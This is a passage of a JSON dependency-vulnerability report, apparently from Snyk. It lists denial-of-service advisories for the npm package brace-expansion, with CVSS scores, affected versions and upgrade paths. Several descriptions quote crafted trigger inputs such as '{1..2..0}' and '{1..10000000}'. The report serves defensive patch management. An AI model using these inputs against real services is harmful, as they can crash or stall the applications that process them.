Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { 